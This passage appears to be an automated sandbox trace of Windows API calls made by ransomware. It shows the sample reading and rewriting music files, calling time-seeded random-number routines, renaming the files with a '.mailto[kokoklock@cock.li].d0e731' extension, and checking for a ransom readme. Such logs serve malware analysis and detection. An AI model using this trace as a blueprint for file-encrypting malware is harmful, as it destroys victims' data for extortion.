RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f88be0 [0176.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fe4828 [0176.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.951] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94928 [0176.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94928) returned 1 [0176.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0176.951] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0176.951] WriteFile (in: hFile=0x81c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x26c7f9f8, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x26c7f9f8*=0x4096, lpOverlapped=0x0) returned 1 [0176.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.952] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0xb51e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.952] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26c7fa30, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x26c7fa30*=0x20, lpOverlapped=0x0) returned 1 [0176.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0176.952] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94e00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26c7fa44, lpOverlapped=0x0 | out: lpBuffer=0x2f94e00*, lpNumberOfBytesWritten=0x26c7fa44*=0x8, lpOverlapped=0x0) returned 1 [0176.952] WriteFile (in: hFile=0x81c, lpBuffer=0x26c7fa5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26c7fa44, lpOverlapped=0x0 | out: lpBuffer=0x26c7fa5c*, lpNumberOfBytesWritten=0x26c7fa44*=0x4, lpOverlapped=0x0) returned 1 [0176.952] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26c7fa44, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x26c7fa44*=0x4, lpOverlapped=0x0) returned 1 [0176.952] WriteFile (in: hFile=0x81c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26c7fa44, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x26c7fa44*=0x6c, lpOverlapped=0x0) returned 1 [0176.952] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26c7fa44, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x26c7fa44*=0x20, lpOverlapped=0x0) returned 1 [0176.952] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26c7fa44, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x26c7fa44*=0x4, lpOverlapped=0x0) returned 1 [0176.952] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94dd8) returned 1 [0176.953] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e00) returned 1 [0176.953] CloseHandle (hObject=0x81c) returned 1 [0176.953] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x142) returned 0x2fa0b10 [0176.953] wcscpy (in: _Dest=0x2fa0b10, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" [0176.953] wcscat (in: _Dest=0x2fa0b10, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.953] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\gbc08akz4r67zcirl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.955] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.955] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0b10) returned 1 [0176.955] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\gBC08akz4r67zciRl.wav.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.955] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f8b5d0 [0176.955] wcscpy (in: _Dest=0x2f8b5d0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.955] wcscat (in: _Dest=0x2f8b5d0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0176.955] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0176.955] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8b5d0) returned 1 [0176.955] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6cd50) returned 1 [0176.955] RtlExitUserThread (Status=0x1) Thread: id = 2555 os_tid = 0x11dc [0176.960] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.960] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.960] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x81c [0176.960] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x26cff7d8 | out: lpFileSize=0x26cff7d8*=4325) returned 1 [0176.960] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x10e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.960] ReadFile (in: hFile=0x81c, lpBuffer=0x26cff7ac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26cff7a8, lpOverlapped=0x0 | out: lpBuffer=0x26cff7ac*, lpNumberOfBytesRead=0x26cff7a8*=0x4, lpOverlapped=0x0) returned 1 [0176.962] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.962] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94dd8 [0176.962] NtQuerySystemTime (in: CurrentTime=0x26cff784 | out: CurrentTime=0x26cff784*=132121213342831446) returned 0x0 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xc4823d54 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xc95fd2ac [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xbfd78551 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x77febc72 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x7c268cf3 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x3e2cd49c [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x9769dfae [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x8deea7fe [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x795a3d0a [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xa8daec28 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xb6f0da6b [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x6823d58c [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x6b4dedd1 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xc512a3a [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x51c0a595 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xed7e874e [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x33810e8d [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xdc79fa90 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xa9aa96a [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xe862bffc [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x8fdfe6cc [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xe423c827 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x7a79a904 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xb32b9821 [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x3f2c13eb [0176.962] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x35501ac6 [0176.963] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x103db0b [0176.963] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x656f27f0 [0176.963] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xcf843787 [0176.963] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0xf2047e95 [0176.963] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x8a8ccfc9 [0176.963] RtlRandom (in: Seed=0x26cff790 | out: Seed=0x26cff790) returned 0x234998a [0176.973] ReadFile (in: hFile=0x81c, lpBuffer=0x2f99af8, nNumberOfBytesToRead=0x10e5, lpNumberOfBytesRead=0x26cff784, lpOverlapped=0x0 | out: lpBuffer=0x2f99af8*, lpNumberOfBytesRead=0x26cff784*=0x10e5, lpOverlapped=0x0) returned 1 [0176.974] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26cff74c | out: lpNewFilePointer=0x0) returned 1 [0176.974] WriteFile (in: hFile=0x81c, lpBuffer=0x2fe4828*, nNumberOfBytesToWrite=0x10e5, lpNumberOfBytesWritten=0x26cff780, lpOverlapped=0x0 | out: lpBuffer=0x2fe4828*, lpNumberOfBytesWritten=0x26cff780*=0x10e5, lpOverlapped=0x0) returned 1 [0176.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.974] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94978 [0176.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94978) returned 1 [0176.974] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94cc0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26cff77c, lpOverlapped=0x0 | out: lpBuffer=0x2f94cc0*, lpNumberOfBytesWritten=0x26cff77c*=0x20, lpOverlapped=0x0) returned 1 [0176.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94cc0) returned 1 [0176.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4828) returned 1 [0176.974] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f99af8) returned 1 [0176.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88be0) returned 1 [0176.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0176.975] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94928*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26cff7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f94928*, lpNumberOfBytesWritten=0x26cff7a8*=0x8, lpOverlapped=0x0) returned 1 [0176.975] WriteFile (in: hFile=0x81c, lpBuffer=0x26cff7c0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26cff7a8, lpOverlapped=0x0 | out: lpBuffer=0x26cff7c0*, lpNumberOfBytesWritten=0x26cff7a8*=0x4, lpOverlapped=0x0) returned 1 [0176.975] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26cff7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x26cff7a8*=0x4, lpOverlapped=0x0) returned 1 [0176.975] WriteFile (in: hFile=0x81c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x26cff7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x26cff7a8*=0x6c, lpOverlapped=0x0) returned 1 [0176.975] WriteFile (in: hFile=0x81c, lpBuffer=0x2f94ce8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x26cff7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f94ce8*, lpNumberOfBytesWritten=0x26cff7a8*=0x20, lpOverlapped=0x0) returned 1 [0176.975] WriteFile (in: hFile=0x81c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26cff7a8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x26cff7a8*=0x4, lpOverlapped=0x0) returned 1 [0176.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94ce8) returned 1 [0176.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94e00) returned 1 [0176.975] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f94928) returned 1 [0176.975] CloseHandle (hObject=0x81c) returned 1 [0176.975] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x12e) returned 0x2fe2760 [0176.975] wcscpy (in: _Dest=0x2fe2760, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" [0176.975] wcscat (in: _Dest=0x2fe2760, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0176.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\h50q1-z.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0176.976] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.976] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2760) returned 1 [0176.977] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\h50q1-Z.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0176.977] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xb8) returned 0x2f8afd0 [0176.977] wcscpy (in: _Dest=0x2f8afd0, _Source="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\" [0176.977] wcscat (in: _Dest=0x2f8afd0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" [0176.977] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\d0e731-readme.txt")) returned 0x20 [0176.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8afd0) returned 1 [0176.977] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054828) returned 1 [0176.977] RtlExitUserThread (Status=0x1) Thread: id = 2556 os_tid = 0x11e4 [0176.978] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0176.978] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0176.978] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\RKFI\\7xPr\\VPxmbDeEDjvwEjtEpgZ\\h68l59uHfVEnYu2pKYp_\\pUpDCeawlNgmAD_.mp3.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\music\\rkfi\\7xpr\\vpxmbdeedjvwejtepgz\\h68l59uhfvenyu2pkyp_\\pupdceawlngmad_.mp3.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x81c [0176.978] GetFileSizeEx (in: hFile=0x81c, lpFileSize=0x26d7facc | out: lpFileSize=0x26d7facc*=54440) returned 1 [0176.979] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0xd4a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.979] ReadFile (in: hFile=0x81c, lpBuffer=0x26d7faa0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x26d7fa9c, lpOverlapped=0x0 | out: lpBuffer=0x26d7faa0*, lpNumberOfBytesRead=0x26d7fa9c*=0x4, lpOverlapped=0x0) returned 1 [0176.980] SetFilePointerEx (in: hFile=0x81c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94cc0 [0176.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94ce8 [0176.980] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f94e00 [0176.980] NtQuerySystemTime (in: CurrentTime=0x26d7fa78 | out: CurrentTime=0x26d7fa78*=132121213342987051) returned 0x0 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xc1fc2c7f [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xa921c4ae [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xb24325d6 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x9183ade1 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x3f16da44 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x750e1dad [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xeb57e64 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x9311b9f9 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xfe0b7677 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x5d01743d [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x829a9ab4 [0176.980] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x3e661c8c [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x92f283e0 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xc2872b90 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xb215cc57 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x65b3836b [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x86aefb30 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0x41cc29c0 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xcecade68 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | out: Seed=0x26d7fa84) returned 0xd9736b19 [0176.981] RtlRandom (in: Seed=0x26d7fa84 | 